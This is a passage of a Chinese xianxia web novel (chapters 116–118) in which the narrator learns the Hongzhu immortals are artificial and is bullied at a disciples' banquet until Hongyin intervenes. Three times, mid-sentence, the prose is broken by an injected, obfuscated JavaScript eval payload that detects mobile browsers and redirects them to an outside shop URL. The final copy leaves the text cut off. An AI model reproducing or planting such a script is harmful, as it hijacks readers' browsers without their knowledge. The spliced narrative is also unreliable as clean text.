云雾屏上还记载了当初议建此府时,十二玄珠仙、三鸿珠仙及苍珠仙帝共商之论。渊寂当时言:于此节点设立成钧府,其一,乃因新生之力日衰,战力出众者寡,而陨落、归寂、兵解者日增。其二,因怪物复苏之兆已现三界。彼族繁衍若潮涌,侵噬如蝗灾。仙界纵有结界相护,若无新生战力为继,终恐难逃吞噬。其三,旧时道统,或恃天赋偶得,或依师徒私传,慢如滴水穿石,散若荒野星火。然危局迫近,所需非零星偶现之奇才,而是如律兵阵列、星斗循轨般可计、可增、可恃的仙道之力。自淬体开窍至道法化用,皆须如天工锻器——标准、有序、量产。一切所为——皆为备战。 说实话,读至此处,我心中困惑愈深,不由抬眸向已整装行来的渊寂望去。说真的,我从未真正了解、更谈不上认识眼前此人。所有听闻,皆来自他人之口。 116. 116章 肉眼不可见的尘埃 有人说渊寂弑杀前仙帝煌木;有人斥他垄断仙界资源、铲除异己;有人奉他旨意刁难棠梨,对玉山无相孽之灾冷眼旁观;有人评其满口谎言、绝不可信;亦有人为不向他低头,宁肯失去所有,只为争一瞬尊严。 可我从未以自身所见所感,去认识过这个人。 太矛盾了。种种迹象皆指向一处,渊寂意在抗击膣藟之灾。就连如今设立成钧府,亦是为涵养战力,应对已在人界蔓延的祸患。 可为何目标一致的我们,却总是陷于误解与对抗之中? 恍惚间,宏音曾说过的一句话,又一次回响我耳畔: 眼见未必便是真实。 是啊。就如众人眼中那个指挥仙界大军屠戮魔界百姓、焚毁映山都,看似毫无情感、只求变强的煌木——其实,不过是以无可奈何、别无选择的手段,竭力消弭怪物罢了。 停在我面前,渊寂瞥了一眼云雾屏上尚未隐去的内容,抬脚穿行于流转不息的风中,“怎么,也想入成钧府修习?” 我快步跟上前,问出了盘桓心头许久的话,“帝君,当初为何舍弃玉山南?” 我必须知道答案。 “星允应当已向你和青莲解释过了。”渊寂踏上他那朵素白的祥云,伸手将我也拉了上去,目光垂落时仍带着浅淡笑意,“无他,只为开辟战场,释放日益枯竭的仙力以供养军队。照夜,这世间没有不吃草的战马,欲有所得,必有所舍——正如无人能只纳仙力而不释散,此乃天地常理。即便如你和青莲这般尚未彻底长大的孩子一时不解,也须学着接受,而非……以一己之身,妄抗真理。” 我望着渊寂衣袍上随光隐现的羽毛暗纹,喉间发哽,声音微颤,“那您能否告诉我……天翮城,是否逃过了被辟为战场的命运?” 渊寂眼中的笑意深了些,“照夜,谁任城主、谁为圣女,从来都不重要。重要的是月羽木再度破土——它能镇压那些怪物的卵壳,令其沉眠。如此,便可拖延天翮城覆灭之期。”他忽而伸手,轻轻捏了捏我的下巴,眼睫弯起,“若你要更直白的答案——是的。你这个小丫头,阴差阳错间,救下了本该献祭于天地、以释放仙力供养仙军剿怪的天翮城……以及化西。” 灵璧城高处的风呼啸而过,刮得我被泪水浸湿的眼眶生疼,“历来……皆是如此么?” “嗯,历来如此。”渊寂的语气平淡得像在叙述与己无关的琐事,“因天地间的仙力正日渐枯竭。照夜,三界终有一日,会回归到太初僊发现世界真理之前——那愚昧落后的境地。除非在那之前,争端得以解决。” 此后半月,我每日无非三事,随侍渊寂左右,听他与上仙商议诸务;对客栈掌柜软磨硬泡,试图为日渐干瘪的钱囊争些优惠,以免家底被宏音彻底掏空;以及应付神出鬼没的碎蝶。这些时日,她总趁我不备骤然发难,誓要除掉我这个碍眼的“小八”。 至于宏音,似乎终日闷在房中研读古籍,依旧是一副不好将就的模样。罢了,如今他攥着我那可怜的钱袋子,犹如捏住了我的脉门。 这日我离了仙宫,刚踏出大门,碎蝶一记飞踹便凌空袭来。晶盾自动展开,稳稳挡下这莫名一击。 只听“咔嚓”一声脆响,似是骨头折裂的动静。碎蝶踉跄退开数步,单腿点地,疼得脸色煞白,额角沁满冷汗。 尾巴自我肩头探出,悠悠一叹,“第一百六十六回了。亏得夜里宏音睡在你身边,否则依这架势,咱们怕是连个囫囵觉都睡不成。” 连日随侍压力不小,穆青的音讯却全无,我心绪正劣,“快别说了,你每夜睡得比谁都沉。” “我、我也没法子呀!”尾巴拽了拽我的辫子,声音里也带了几分委屈,“两头忙活,吸纳仙力可是细致活儿,极耗心神的。你……你不会是在怨我吧?我这么辛苦,不也是为咱们好么?” 我没好气道,“你是为着自己,哪里是为我。” 尾巴忽然一滞,不再作声。 气氛微僵。我朝碎蝶走近两步,问她究竟意欲何为。 “我要夺回原本属于我的位置。”碎蝶甩了甩昨日扭伤的手腕,又瞥了眼日前撞青的腿,咬牙道,“都怪你!师父原先常唤我近前侍奉,自你来了,他便再也不召我了。” “知道了。”我倦怠地摆摆手,“明日我向帝君禀明便是。你既愿跟前跑后,我倒感激不尽——横竖我每日也起不来。” 碎蝶一愣,“你……你不想巴结师父,换取更好的修行资源?玲珑境名额有限,非帝君准允,寻常修仙者绝难踏入。” “我没有灵关窍,根本就没法修行。”我沉沉一叹,“就像个没牙的老太婆,给我一块最美味的灯牛炙肉,我也只能望洋兴叹罢了。” 这时碎蝶忽地瞄向我身后,神色一慌,转身便逃得无影无踪。夕晖斜照里,一道沉静的身影缓步走近,轻轻捏了捏我的肩,“又被奇怪的人缠上了,照夜。” 任由宏音牵住我的手,我也无力挣开,只喃喃道,“哎……不知何时才能见到小青。” “……还有一月。” 我猛地驻足,急切晃了晃宏音的手臂,“你从何得知?是不是有什么消息?” 宏音摸摸我的脸颊,笑意温和,“总有些渠道。一月后青莲仙人出关出席上仙会议。那时,你便能见他了。” 原来如此——我从笏影的日程表中也曾瞥见,一月后确有上仙例会,似乎正是为商议人界求援之事。南翊此时前来,便是在等待此事商议个结果出来。 千头万绪绞在我心口,沉得发闷。直至这夜睡觉前,我仍未察觉任何异样。宏音向我支付了一个晚安吻后,忽然问我:尾巴呢。 尾巴不见了。 更确切地说,是离开了。 这个夜晚,长久积压的委屈与难过再难掩藏,我蜷在枕间嚎啕大哭,几乎一整夜未曾停歇。寂静的黑暗里,唯有宏音始终守在我身旁。 几乎彻夜未眠,晨光微露时,我迷迷糊糊撑起身要去嵊风殿应卯。宏音却一个翻身,半边身子轻轻压住我,眼也未睁,含糊道,“不必去。今日歇着,稍后我去替你告假。” 我又跌回柔软的被褥间,眼眶肿胀刺痛,心里却模糊地想,这种时候,有个“爹”的好处,倒是显出来了。 “你说……尾巴还会不会回来?” “他依旧在你体内,无法真正离开。”宏音的声音带着初醒的低哑,“所以,谈不上‘回来’。” 这句话却让我泪水再度涌出,“找不到小青,尾巴也不在了……我以为在天翮城已够倒霉,谁知来了这里,失去的反而更多。” 一声轻叹。宏音睁开一只眼,忽然拍了拍自己的胸口,“别硬撑。若需要安慰,便过来。” 不待我回应,宏音已伸手将我揽入怀中。沉沉的呼吸拂过我的头顶,他的声音自上方传来,“所以,你和我的棋友闹了什么矛盾?” 我断断续续将前因后果说了一遍,不知何时,竟在宏音平稳的气息里昏沉睡着了。这一觉极沉,再睁眼时,窗外已黢黑。 院外隐约传来人语。我赤脚下榻,揉着仍有些刺痛的眼走近窗边,透过缝隙向外望去——竟是个刻板的熟面孔,笏影仙人。 “宏音,我听瑶扇说,你又养了个‘女儿’。”笏影的声音冷清如常,“这么喜爱孩子,不如去玉贝仙人那儿打个下手。” 宏音只发出一声低笑,“你误会了,笏影。我这人挑食,只爱漂亮又伶俐的孩子。不像某些人……兴致来了,歪瓜裂枣也照单全收。” 我本能想揪出尾巴一同看热闹,手往胸口一探——空空如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549582|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也。眼角霎时又湿了。 “宏音,别以为有几个钱便可目中无人。”笏影的语气更冷,“我今日来,只为告诫照夜别懈怠。她既拜在帝君座下,便该尽心竭力。” “嗯,知道了。”宏音应得漫不经心,“我会转告。不过帝君本人都未过问,你是否管得太宽了些?” “论起多管闲事,我远不及你。” 宏音耸耸肩,语调依旧平淡,“放心,我对你流连乐馆、与乐伎厮混的闲事并无兴趣。作为交换,也请你少盯着照夜的闲事。” 我心头一惊。笏影与乐伎厮混?笏影专来盯我闲事? 只见宏音俯身凑近面色骤变的笏影,声音虽轻,却透着一股无形的压迫,“我知道你与瑶扇、萤火、素雪几人交好。烦请你们这几位加起来几千岁的‘老姐姐’,别再盯着一个小孩子使绊子。别以为躲在暗处密谋,便无人知晓。” “……宏音,”笏影的声音像是从牙缝中挤出,“你简直比那个死了的百目,更惹人厌憎。” 笏影拂袖转身,瞬息便消失在暮色里。而我怔怔立在窗后,久久未能回神。 百目仙人……死了? 在院中怔立了好一会儿,宏音才缓缓转过身看向我。显然,他早察觉我听见了他与笏影的对话。说老实话,比起被那几位没什么过节,甚至没什么交集的上仙莫名其妙算计、针对这件事,我更关心百目仙人是否真的死了。 我从未见过百目仙人的真容,至多只见过她无处不在的“法眼”。那些硕大、如孤灯般悬浮的眼瞳,总是令人脊背发凉。听声音,百目应是女子。自前次与雷枢仙人一战后她便受了伤,如今……竟已死了么? 我不由想起在地刑司时,遭遇千手仙人巡监的情景——虚白、柔软、冰冷滑腻的触手上,嵌着的正是百目的法眼。那触感至今想来,仍如一场黏湿的噩梦。 渊寂登基大典上,合体而成的“十身、百目、千手”之形,又一次浮现眼前。那与膣藟过于相似的姿态,实在让人难以不起疑窦。 “如何,哭够了没?” 我承认,我确实被眼下的事情转移了大部分注意力,虽仍为见不到穆青、寻不回尾巴而揪心,但汹涌的泪意已能勉强抑住。至少,此刻我能打起精神,仔细听宏音接下来要说什么。 “嗯,今日不哭了。”我揉揉红肿的眼皮,“你是不是有悄悄话要和我说?” 宏音神色郑重地点了点头,仰首望向结界外那条璀璨流转的玉带星河,轻声道,“随我来,去一处无人搅扰的地方。” 结界表面隐隐流动着金色的光纹。从这般高处望去,脚下灯火点点的灵璧城,反倒像泊在银河中的一叶星舟。夜风微凉,隐隐带着湿润的气息,拂过鼻尖时,竟让人心绪渐渐沉静下来。无论如何,这夜色总能令人神思清明。 我与宏音藏在一团稀薄柔软的云絮里。他先望着天际那颗极亮的星子,片刻才低声道,“‘照夜独照三千界,一夜天河尽俯身’——照夜之星由太初僊亲自命名,长明不灭,倒与你十分相契。” “阿爹说,他是在戏文里瞧见这名字,便直接取来用了。”我抱膝坐着,“只不过我三岁前他尚未读到,所以三岁之前,他只叫我‘小汤圆’。” 宏音揉了揉我的后脑勺,同我并坐云间,俯瞰脚下尘世与无垠夜色,“软糯白润的小汤圆……如今倒也贴切。” “你究竟要和我说什么?特意躲到高处。”我顿了顿,声音压得更低,“百目仙人既已死了,还需避人耳目么?” 宏音轻轻晃了晃手指,指尖凝出一团澄澈的水,水液缓缓延展,化作一道薄透的水膜,将我们笼罩其中,“以防万一。这灵璧城里……存在着你我肉眼看不见的东西。如尘埃般微渺,防不胜防。” “……尘埃?” 117. 117章 三件“法器”? “或许只是我多虑了。”宏音的声音沉下来,几乎贴近我耳语,“照夜,我要告诉你一个秘密。一个——几乎无人知晓的秘密。” 接下来宏音所言之事,彻底震住了我,也全然颠覆了我对此间世界的认知。 简而言之,那位存世六百余年、以无数法眼为法器的鸿珠三上仙之一——百目仙人,并无真实躯体。确切地说,百目并非“人”,而是一尊“人造之仙”。 又或者,百目根本算不上仙人,仅仅是一件……法器罢了。 若这便是真相,倒也能解释为何百目从未显露真身——因为她本就没有形体。 骤然间,一阵恶寒攀上我的脊梁,仿佛千万蚁虫细细啃噬,揪得我心口狂跳不止。 “宏音,你如何得知?” “水啊,无处不在的水。”宏音眸色深静,似映着遥远星光,“纵使无雨,每一寸空气里也蕴含着只能被感知、却无法被窥见的‘水’。若将纯水割得足够微细,便可不必借雨水之势,而窥听四方。” “……说真的,你这能耐未免过于——变态了。” 宏音轻声一笑,“放心,只要你在我面前没有秘密,便不必担心被我‘看见’、‘听见’。当然,即便偶尔被窥见些难为情的场面……”他眼尾微弯,“我也不介意。” 我瞪圆了眼,“可我介意啊!” “渊寂一直有意让我接替百目仙人,成为他的耳目。”宏音望着远空,声音低沉,“我有些好奇,便借水探听了些许隐秘谈话。最后得出两个结论,其一,百目已死;其二,百目乃是人造之仙。” “十身仙人似乎还未将此事公之于众。” 宏音侧过脸看向我,眼中浮起一缕我从未见过的光——映着星辉,却凛冽如冰,“照夜,鸿珠三仙皆无血肉之躯。他们皆是……人造之仙。” 更多细节,宏音暂也无法探知。也就是说,今夜我们共享了一个惊天大秘密,却似乎并无太大用处。但这秘密本身,已让我心底升起莫名的寒意。我总觉得这灵璧城里,藏着某种可怖的、难以捉摸的“东西”。 我规规矩矩在焦桐馆里闷睡了数日。因尾巴依旧杳无踪迹,沮丧与难过缠绕我心头,连呼吸都觉憋闷。宏音则几乎终日端坐案前,破译天翮族的古文字,研读那些不知记载何物的典籍。偶尔在我掉泪时,他会过来静静抱我片刻。笏影仙人自那日后倒未再来找我麻烦,问起缘由,宏音只淡淡道他已亲自向帝君替我告了假。 这日傍晚,忙碌整日的宏音搁下笔,迎来一位熟客,溟牙。 溟牙是来找我的,今日绛霞仙人自领刑期已满,回来了,星允在家里招待师弟师妹,我这个小八,自然得去。于是,被使唤着跑腿的溟牙找来了。 溟牙话音未落,不待我发表看法,宏音便率先拒绝了。 虚眯着眼睛将我和宏音看了一圈,溟牙冷笑一声道,“别叫我夹在中间难做,宏音大人,或者你可以考虑一下,行个方便,我呢,就不把你的秘密说出去,如何?” 我大吃一惊,宏音也有秘密?且还落在溟牙手上? “……罢了。”宏音沉默片刻,终是松口,“但你须以性命担保照夜周全。若再发生上次那龌龊之事,你便真是帮凶了,溟牙。”他转身替我理了理鬓发,细细梳好辫子,“我稍后有事需处理,晚些去接你回家。” 一路之上,我不断逼问溟牙究竟握有宏音何种秘密。这狡猾的男人却始终讳莫如深,只含糊丢下一句,“宏音是越来越变态了”。 罢了。我心绪郁结,对诸事皆提不起兴致,包括今夜这场所谓的接风宴。 星允自成为渊寂座下首徒后广纳人心,扩充山门,拥趸多如过江之鲫。即便前次败于大铁棘之手、仙碑排名一落千丈,巴结他、企图争得仙力丰沛之地安身的仙人依旧络绎不绝。今夜前来送礼之人,已将朱门挤得水泄不通。我素来不喜欢这等喧闹场合,下意识攥紧溟牙的衣袖,低头走进位于灵璧城东寒鸦镇边上的宅邸——这位玄珠位阶第一的上仙,居所果然气派非凡。 意外的是,院外虽喧嚷,院内却颇为清静。今日宴席似只邀了渊寂座下弟子。 我躲在溟牙身后,目光悄然扫过席间一道道投来的视线——皆不甚友善。 绛霞,与我有旧怨。我揍过她的老相好星允,更助大铁棘击败了他。 云啼,素来看不过我与穆青。 碎蝶,恨我“夺走”侍奉渊寂之位,暗地里行刺已不下百回。 星允,视穆青为眼中钉,曾被我揍破相,更遭渊寂当众训斥,后又败于宏音所酿烈酒,颜面尽失。 飞逍,因凌虐牧狸,险些死于穆青手下,对我自是仇视。 好家伙,都多少与我有过节,今夜还真是有点羊入虎口,等着被剥皮拆骨的感觉。 我暗自打定主意,今天晚上就赖定正被我紧紧攥着衣袖的溟牙了,好在我们之间没有私人恩怨。 “哟,小八怎么躲到二师兄身后去了?”云啼率先发难。她依旧一身银甲,烛火下泛着冷光,彰显着卫戍司的威仪,“瞧这模样,倒像怕被咱们架到火上烤了吃似的。”她眼风一转,斜睨溟牙,“二师兄伤势可好些了?听说你被大师兄伤的不轻,是跑得不够快么。” “多谢关心,已大好。”溟牙不动声色入了席,并未甩开我紧攥的手,只以目光示意我坐在他身侧,“大师兄仙法卓绝,冠绝同门。避不开,才是常理。” “哼!若非宏音那狗东西暗使诡计,岂容那野蛮人伤大师兄分毫!”绛霞恶狠狠剜我一眼,唇边冷笑如刀,“果真是奴隶之后,使阴招的本事倒似家传——一群可耻可笑的杂种。” “喂,这胖妞究竟有什么能耐,竟三两下混成了咱们的师妹?”许久未见的飞逍以赤裸的目光将我周身扫了一遍,冷哼道,“瞧,也不知使了什么媚术,连素来不沾片叶的二师兄都黏上了,真是稀奇。” 不待我回击,后背又是一阵轻触感,扭头看去,只见碎蝶手中握着半截破碎的瓷瓶——方才她试图砸我的后脑勺,却被晶盾反震得瓷片四溅。 “可恶……你怎么还不死!”碎蝶自牙缝挤出狠话,“若非宏音日日守着,我早将你脑袋敲碎了!”言罢竟一甩衣袖,若无其事般将残瓶掷在地上,扬长而去。 溟牙默默叹了口气,俯身将碎瓷扫至一旁,与我交换了座位,始终未发一语。而那头的声讨仍未停歇。 直到一直作壁上观的星允终于抬手虚按,“今日同门齐聚,一则为绛霞接风洗尘,二来也是奉师尊之命,联络情谊。”他目光扫过全场,唇畔含笑,“可惜幻鹊师弟尚在闭关。待他出关,咱们再共聚一堂。” 我硬着头皮举杯落座,只觉席间空气黏稠得令人窒息。原本想着受些羞辱忍忍便罢,却不料更不堪的还在后头——酒过数巡,众人竟撺掇着要滴酒未沾的溟牙“助兴”,当众表演蛇行。理由直白而残忍,因他母亲是蛇妖。 更甚者,飞逍醉醺醺地从早候在一旁的侍女手中拽出一件物事,掷到溟牙面前——那是件仿蛇蜕制成的筒状长衣,色泽暗青,鳞纹逼真。 “二师兄快换上!让师兄师姐师妹们瞧瞧真本事!” 我此刻如被冷水浇头,我常年在山里,何曾见过这折辱人的手段。只见溟牙面上无波无澜,起身,沉默地换上那件“合身”的蛇衣,俯身贴地,当真匍匐扭动起来。席间顿时爆出一阵哄笑。 我双手冰凉,双腿止不住轻颤。慌乱中下意识去摸胸口,低声唤了句“尾巴”——却再无那熟悉的光晕轻捏耳垂,也无温热的触感环住脖颈,抚平我的惊惶。 那头星允正支着下巴,对眼前一切视若寻常,只懒懒对飞逍道,“早些使手段占 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549583|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了碧叶仙人的慰林渊才是正经。将那劳什子鸳鸯树尽数伐了,改种红绡林,多赚些银钱。” “师兄说得是!”飞逍谄笑应和,“只是那玲珑境的修行机缘……还望师兄在师尊面前美言几句。师弟若能精进,往后也能好好孝敬您不是?” 星允朗声大笑,举杯时目光掠过飞逍,最终落在我脸上,“好说。咱们八人同气连枝,财富仙源皆当共享。最要紧是同心同德,有力的出力,有财的出财,一心为主才是。” 我再也忍不住了,噌地起身,惊得矮桌摇晃不止,乐曲声亦戛然而止,就连在地上被迫表演的溟牙,都停了下来。 “好啊!”绛霞一掌拍在案上,怒目圆睁,“不知哪儿窜出的贱民,这就装不下去了?你这肥猪,伙同宏音行事龌龊,更坏了帝君在天翮城的大计——当真该死!” 飞逍慢悠悠接口,“师姐,她虽肥蠢,手段却不简单。先黏着穆青离间其与公主,后又攀附宏音,背地里不知做了多少下作勾当。更别提曾插足赤羽与素雪之间……这等女人的‘本事’,你们自是学不来的。” 我上前一把扯开溟牙身上那件浸满戏谑与羞辱的蛇衣,抬头堆起满脸谄笑,“师姐、师兄,我……我想解手。可又怕黑,又怕生人。想请二师兄引个路——”我顿了顿,声音掐得细弱,“横竖他最大的用处,也就是传话、带路不是么?” 众人一时哑然,竟任我拽着溟牙胳膊拖出厅外。见我慌张往大门去,溟牙却停住脚步,拂开我的手,“怎么,急着回去睡觉?天天哪有那么多瞌睡。” “我们走吧……那些人疯了。” 溟牙竟低笑一声,“谁跟你‘我们’?要走你自走。” 我一怔,“你……竟能忍受他们这般折辱你,折辱你的……母亲?” 见我眼中水光浮动,这个一贯冷面、时而讥诮时而阴郁的瘦削男人,只是轻轻、平淡地说,“小不忍则乱大谋。回去睡罢,我在这儿应付着。无非拿我消遣取乐罢了,算不得什么。” 话音未落,我头顶忽有风声掠过——碎蝶又自暗处袭来。这一回我却不想再忍。一步步挪近那双灰眸女子身前,在她开口前攥紧拳头,我迅如疾电般朝她腹部击去。 夜色里传来沉闷的“咚”一声,似有重物急速飞出,坠入远处池塘。我拳锋上覆着一层薄而坚硬的晶盾,其锐利胜过世间百兵。 “……你吸收了舒岸的力量,照夜。”溟牙的声音在我身后响起。 我低着头跟在溟牙身侧,抹去眼角的湿意,“嗯……确切说,并未净化,也未吸收。只是将他的力量……留存了下来。” 溟牙深深吸了口气,“若你认真读过《修仙指南》,便该知晓——外来仙力一旦入体,必被内化吸纳,无法保持原状。人,留不住他人的力量。” “……可我做到了。”我按住胸口,“舒岸虽死了,我却确实留下了他的力量。” 溟牙望向厅内煌煌如昼的灯火,眯起眼睛,“除非……这力量本就与你的——同源。” 此刻确非深谈之机。若尾巴老师在,我至少能与他商讨几句。我不得不承认,因无灵关窍,我无法感知仙力流转,更无从体会“吸收内化”究竟是何感受。每每吸纳他人仙力为己用,也只是觉得饱胀闷热,更深层的体悟,终究是没有的。 这一刻,我如此想念尾巴。却不知该去何处找他——他是否已回到那长满青莲的洞窟,藏身于万千光球之中?他是在等我道歉,等我接他回家么? 我不知道。我只是……很需要他。 被我一拳击落池中的碎蝶湿淋淋地归来,一声不吭落座,死死盯住我。许是未料到我敢还手,她眼中已凝起赤裸的杀意。 此夜如坐针毡。我不敢碰案上菜肴,不敢饮琉璃盏中酒液,连侍女奉上的那盏猩红透亮的红绡茶,也半口未沾。 118. 118章 仙界霸凌事件 戏弄罢溟牙,众人趁醉意又来缠我灌酒。见我抵死不从,绛霞与云啼向飞逍递去眼色。飞逍脸上浮着酒后的薄红,趔趄走到我面前,一手捏住我下巴,一手拎起酒壶,眼中尽是对前仇旧怨的愤恨,“装什么矜持?你这从青莲山钻出来的野人,和那贱女人一样,走到哪儿都能勾缠上男子——贱胚!” “放开我!待小青回来,再同你清算牧狸的账!” “哈!还惦着青莲呢?”飞逍大笑,“人家早成亲了,轮得到你叽叽歪歪?”他手上用力,将我按倒在地,“不如跟了我,让师兄好好——调教调教你这张无礼的嘴……”话音未落,飞逍竟在满堂哄闹中扯住我嘴角,将壶中酒液径直倾泻在我脸上。 “飞逍!”溟牙猛地攥住这畜生的手腕,声音近乎狠戾,“她好歹是师尊亲收的八弟子,师尊对她颇为喜爱——住手。” “哟,溟牙。”星允忽然自座上起身,缓步踱近,居高临下地蔑视着我,冰冷语声似从喉间挤出,“早瞧出你对这小妮子不一般,原来是真的。怎么,不爱男人,不喜女子,反倒看上一只肥油油的山兔?”他俯身,吐息带着酒气,“既这么喜欢,不如现下便要了她。想来青莲也不会介意——毕竟,她已是人家不要的……弃妇了。” 汹涌的金色仙力骤然在我体内翻腾,流溢蔓延而出。肌肤下传来灼烧之感,那滚烫黏稠的金光仿佛要将我的血肉寸寸熔解。 飞逍见状酒醒大半,踉跄退开两步,低啧一声,“大师兄,这便是……鸿珠仙丹之力?” “嗯。”星允眼中贪婪毕露,“你们未曾亲见——伟力无穷。如此宝物……值得冒险一用。” 溟牙脸色骤青,疾步挡在我身前,“大师兄,师尊对她颇为看重,还是别轻举妄动——” 就在星允手中银鞭即将挥落的一刹,一团澄澈无垢的水幕倏然挡在溟牙身前。只见那凌厉鞭影触及纯水的瞬间,竟如陷泥淖般滞涩,凛冽杀气霎时消弭无形。 “啧啧啧……诸位上仙真是好兴致。”低沉嗓音自暗处传来,带着一贯的刻板肃穆,只是今夜那向来不苟言笑的脸上,分明凝着一层薄怒,“是酒不够醇,还是舞伎不够艳,竟要当众欺侮自家师弟师妹取乐?实在令人叹为观止。” 我心头委屈翻涌,一个鲤鱼打挺跃起,几乎本能地朝那声音来处奔去,直直撞进来人怀中。 宏音将我搂住,抬袖细细擦拭我脸上未干的酒渍,扬声道,“照夜,往后不准再与这些乌糟之人厮混。记住了——纵使晚上出去玩,也需早些回家。” 我用力点头,鼻音浓重地“嗯”了一声。 “哪儿来的贱民,也敢在玄珠上仙座前放肆!”绛霞记恨前败,当即攘开飞逍跨步上前,“若非这肥妞上回助你,你早是我手下败将!如今你连天翮城主都不是,还敢猖狂!” 见我气得脸色发白,宏音却不动声色地轻捏我肩头,面上仍带着和煦的笑意,“绛霞,你出身仙裔贵胄,祖上世代为仙,祖父更曾位列玄珠首席——这些,我都记得。”他话音微顿,眸光渐深,“但你可还记得,你祖父是因何被褫夺仙阶?当年未湖一战,他临阵畏敌脱逃,致三千六百仙军殒命。若非事后有帝君周旋,你这一脉怕早已被逐出仙界,沦为人尽可鄙的‘贱民’。” 绛霞面色骤然惨白。 宏音却缓缓续道,“我天翮一族确是‘贱民’不假。然我等从未背弃族人。较之贵祖上所行悖逆之举,倒真可谓小巫见大巫了。”他唇角微扬,“若将此等旧闻传扬出去……不知你绛霞仙人的位次,是升是降呢?” “你——!” “哟,原来师妹这高贵的出身背后,还藏着这般曲折。”云啼摇摇晃晃走近,嗤笑出声,“枉我等一直尊你世家风范,对你毕恭毕敬呢。” 绛霞狠剜云啼一眼,齿间挤出低喝,“闭嘴!再提旧事,我撕了你的嘴!” “二位师姐莫中了小人挑拨,伤了和气。”飞逍跟在星允身后,小心翼翼补了一句。 宏音今夜显然不单为接我而来。他目光转向飞逍,语气平淡如叙闲常,“飞逍,人前尊称师兄师姐,背后嚼舌的方为小人。这等事,我倒做不出。”他略一停顿,“更何况,你借督办红绡茶之便私扣红利,迟迟不与众分润——能行此等事的,才堪称‘小人’二字。” 飞逍肉眼可见地惊慌起来,慌忙朝星允拱手,“大师兄明鉴!师弟绝无此心!只是、只是账目清算稍迟了几日……不日定将红利悉数奉予各位师兄师姐——” 星允此刻面上红白交错,死死盯住宏音,切齿道,“宏音,此地不欢迎你。以你如今区区仙民之身,安敢在我等面前猖狂!” 宏音低笑两声,将我的手握得更紧些,“星允,这般急着逐客,可是怕我将你对照夜图谋不轨之事说破——”他眼风扫向绛霞,“惹得你二人反目动手?啊呀,失礼失礼,原来绛霞尚不知此事?” 绛霞一怔,尚未发作,碎蝶竟又不识好歹地骤起偷袭。宏音却似早有预料,反手扣住碎蝶腕骨一折——咔嚓脆响中,碎蝶痛呼脱力,掌中幻鳞粉尚未撒出,已被凭空凝现的纯水裹挟、消蚀,化作灰烬飘散。 “碎蝶,都两百余岁的人了,何苦装作孩子在帝君膝下撒娇?”宏音唇畔噙着一丝讥诮,说出的话相当难听,“这么想要个爹爹,怎不来求我?哦,你知道,我只爱天真可爱的孩子,偏不包括你。” “滚出去!宏音,谁准你擅闯——”星允怒极,周身仙力已隐隐沸腾。 宏音却瞥向始终沉默的溟牙,眼中掠过一抹深意,“怎么,溟牙?他人不问,你便不说么——这要紧的消息,竟瞒着诸位赫赫有名的仙将?” 溟牙在众人惊疑不定的注视中,终是垂首低声道,“傍晚……帝君已下旨敕封宏音为仙,接替百目之位,擢升鸿珠列序。明日午时,此讯便将昭告三界,晓谕八荒。” 满堂寂然。 我此刻的震惊不输在场众人,也明白了宏音是怎么在无人阻拦、通传的情况下进来的。他竟然——成了鸿珠仙人。 想起我曾讽刺宏音去请帝君给他封个仙人当当,没想到,竟一语成谶。 只不过,这鸿珠位阶倒不像是宏音求来的,而是渊寂——迫不及待塞给他的。 仙界位阶森严,位阶即代表着地位高低,以及资源分配权,这也正是当初设立仙碑榜的初衷。资源有限,便只能以此作为分配依据,只是此行的弊端也正如当日雷枢仙人所言,不公、片面,成为了某些人拉帮结派、排除异己的筹码。 然而啊,我曾以为取之不尽,用之不竭的仙力正在日益走向枯竭,不管束分配,又能怎样呢。 只是我不明白,穆青曾告诉我仙力亦要遵循一进一出的守恒真理,是何时被颠覆的。 仙力,本该呈现为一种绝对守恒的存在。它并非消耗品,而是永恒流转的状态能量。修仙之人死后,其体内仙力并不会“消亡”,而是溃散后重归天地,再次进入循环。 即便某些仙人,例如煌木,其自身凝炼的仙力具有极其强大的附着力,而形成源涡池中那样粘稠的滞留状态,也亦不过是暂时减缓了其回归自然的进程。换句话说,源涡池的仙力,迟早有一天也会散归天地。 同理,灵木吸收仙力生长,其过程实为持续的吸纳与释放仙力,维持着自身与外界仙力的动态平衡。亦如蕴藏仙力的熠石崩裂,释放出的仙力自会自然弥散,重新回归天地。 也就是说,仙力的总量是恒定的,其形态可转换,载体可更迭,循环路径可异,但既无真正的“创生”,亦无绝对的“湮灭”。仙力从始至终便存在于天地之间,当初第一位仙人,太初僊,也只不过在微风中发现仙力,进行了利用而已。 正因如此,仙力本不该走向“枯竭”才对。我望向面前众人,心绪一时难宁。 纵使愤恨翻涌,席间众人此刻也不得不客客气气将已位列鸿珠的宏音恭送出门。他如今身份迥异,可乘飞骑直入城内,而我这种寻常仙民,若违规驭兽,怕是要领上一笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 